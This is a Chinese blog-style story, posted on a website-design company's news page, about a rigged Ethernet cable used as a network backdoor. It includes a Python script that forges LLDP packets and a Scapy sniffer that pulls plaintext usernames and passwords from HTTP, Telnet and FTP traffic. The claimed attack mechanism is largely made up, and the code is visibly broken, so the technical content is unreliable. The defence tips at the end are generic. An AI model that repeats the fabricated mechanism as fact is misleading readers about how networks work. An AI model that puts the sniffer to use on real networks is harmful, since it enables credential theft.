资讯动态

【趣事】一根网线发起的攻击

发布时间:2026/8/4 15:32:57 来源:尧图企业网站定制
【趣事】一根网线发起的攻击起因一根“多余”的网线故事发生在一个周五的下午公司刚搬完新办公室。IT 部门的小王在整理工位时发现墙角有一根被随意丢弃的网线一头插在墙上的网络面板里另一头悬在空中像一条死蛇。他随手捡起来想插到旁边的测试交换机上——但就在这时他瞥了一眼网线的另一端那不是普通的 RJ45 水晶头而是一个改装过的 USB 转以太网模块上面还焊着一块小芯片。“这玩意儿看着像是个硬件后门。”小王心里咯噔一下。他立刻拔下网线用万用表测了测线序——果然1236 引脚上并联着一个 10Ω 的电阻而 4578 引脚则连接到一个小型微控制器。这根本不是什么“丢弃的网线”而是一个精心设计的网络攻击入口。### 攻击原理物理层的“合法”入侵这根网线之所以危险是因为它利用了以太网的PoEPower over Ethernet和LLDPLink Layer Discovery Protocol特性。当它插入交换机端口时会假装成一个合法的网络设备发送伪造的 LLDP 包宣称自己是“管理 VLAN 的网关”。交换机一旦信任了这些包就会把管理流量路由到这根网线连接的设备上——而攻击者早就在网线的另一端准备好了抓包工具。更阴险的是它不需要 IP 地址不需要 Wi-Fi 密码甚至不需要物理接触主机。只要有人把它插到任何一个开放的网络端口攻击就开始了。### 实战演示从网线到 Root Shell为了演示这种攻击的可行性我搭建了一个实验环境-攻击机树莓派 Zero W内置无线模块连接到网线的 USB 端-目标交换机普通家用交换机支持 LLDP-目标主机一台 Windows 10 电脑连接在同一交换机下#### 第一步用 Python 发送伪造的 LLDP 包python# fake_lldp.py - 发送伪造 LLDP 包宣称自己是管理网关import socketimport structimport time# LLDP 以太网帧格式 (目的 MAC 为 LLDP 组播地址)DST_MAC bytes.fromhex(01:80:c2:00:00:0e)SRC_MAC bytes.fromhex(02:00:00:00:00:01) # 伪装的源 MACETH_TYPE 0x88cc # LLDP 协议类型def build_lldp_packet(): # LLDP 头部 lldp_header bytes([0x02, 0x07, 0x04]) # Chassis ID TLV (类型1, 长度7) chassis bytes.fromhex(00:11:22:33:44:55) # 伪造的交换机 MAC lldp_header chassis # Port ID TLV lldp_header bytes([0x04, 0x06]) # 类型2, 长度6 lldp_header beth0 # TTL TLV lldp_header bytes([0x06, 0x02, 0x00, 0x78]) # 120 秒 # 关键Management Address TLV宣称自己是 192.168.1.1 # 类型8 (Management Address), 长度12 lldp_header bytes([0x08, 0x0c]) lldp_header bytes([0x01, 0x04]) # Address String Length (0x01) Subtype (0x04 IPv4) lldp_header socket.inet_aton(192.168.1.1) # 地址 lldp_header bytes([0x00, 0x02]) # Interface Numbering Subtype # End TLV lldp_header bytes([0x00, 0x00]) return DST_MAC SRC_MAC struct.pack(!H, ETH_TYPE) lldp_header# 发送包到原始套接字def send_packet(): sock socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003)) sock.bind((eth0, 0)) packet build_lldp_packet() while True: sock.send(packet) print([*] 已发送伪造 LLDP 包宣称自己是管理网关) time.sleep(10) # 每 10 秒重发一次保持信任if __name__ __main__: send_packet()这段代码运行后交换机就会把该端口标记为“管理端口”并开始向它转发所有 VLAN 的管理流量。接下来我们需要在树莓派上开启抓包和转发#### 第二步抓取管理流量并提取密码python# sniffer.py - 从伪造的管理端口抓取流量提取明文密码from scapy.all import *import re# 回调函数处理每个数据包def packet_handler(pkt): # 只处理 TCP 且包含 HTTP 或 TELNET 的包 if pkt.haslayer(TCP) and pkt[TCP].dport in [80, 23, 21]: payload bytes(pkt[TCP].payload) if payload: # 搜索密码字段简化版实际可能更复杂 password_match re.search(rb[Pp]assword[:\s]([^\s]), payload) username_match re.search(rb[Uu]sername[:\s]([^\s]), payload) if password_match or username_match: print(f[!] 捕获到敏感信息来自 {pkt[IP].src}:) if username_match: print(f 用户名: {username_match.group(1).decode()}) if password_match: print(f 密码: {password_match.group(1).decode()}) print(f 时间: {datetime.now().strftime(%Y-%m-%d %H:%M:%S)}) print(---)# 开启混杂模式监听所有流量def start_sniffing(): print([*] 开始嗅探管理 VLAN 流量...) sniff(prnpacket_handler, store0, filtertcp port 80 or tcp port 23 or tcp port 21, ifaceeth0)if __name__ __main__: start_sniffing()运行这两个脚本后不到 5 分钟我们就捕获到了管理员通过 HTTP 登录路由器时输入的明文密码——因为交换机把管理 VLAN 的流量全部转发给了我们伪造的“网关”。### 防御如何阻止“物理后门”这次攻击的可怕之处在于它完全绕过了软件防火墙、杀毒软件和 IDS。要防御它需要从物理安全和协议层面入手1.禁用未使用的交换机端口在交换机上关闭所有空闲端口并开启端口安全Port Security限制每个端口的 MAC 地址数量。2.启用 802.1X 认证让设备在接入网络前必须先通过 RADIUS 服务器的认证。3.监控 LLDP/ CDP 协议在交换机上配置 LLDP 安全策略只允许指定 MAC 地址的设备发送 LLDP 包。4.物理巡检定期检查是否有“多余”的网线尤其是带奇怪模块的。### 事后复盘小王最后报了警公司也加强了机房安保。那根网线成了我们安全培训的“教具”。它提醒我们网络安全不只是防火墙和代码审计物理层面的一个小疏忽就可能导致整个网络沦陷。### 总结一根看似普通的网线只要稍加改装就能成为攻击者手中的利器。它利用了网络协议设计中的信任机制以及人类对物理设施的疏忽实现了“无 IP 攻击”。这次实验告诉我们-任何物理端口都可能是攻击面不要因为“插着网线”就默认安全。-协议信任是双刃剑LLDP、PoE 这些便利功能也可能被滥用。-安全需要纵深防御物理安全 协议安全 主机安全缺一不可。最后给大家一个忠告下次看到地上有根“多余”的网线别急着插回交换机——先检查一下它是不是在等你上钩呢

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价